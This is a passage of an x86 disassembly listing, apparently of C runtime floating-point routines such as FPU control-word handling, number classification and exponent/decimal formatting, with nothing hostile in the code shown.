loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4E0B28, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4E0B28, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_442038

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_442110
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_44203C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_442138
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_442138
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_442144
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2690000h
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26B0000h
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_441DB4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_441DB8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_441DB8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_442160o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4E0BC0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4E0BBC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_441DB8
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4E0BC0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4E0BC0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4E0BC4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4E0BBC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_441DB8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4E0BC0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4E0BBC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4E0BC4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4E0BBC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4E0BC4, ecx
		setl	cl
		mov	byte_4E0BC8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4E0BC4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
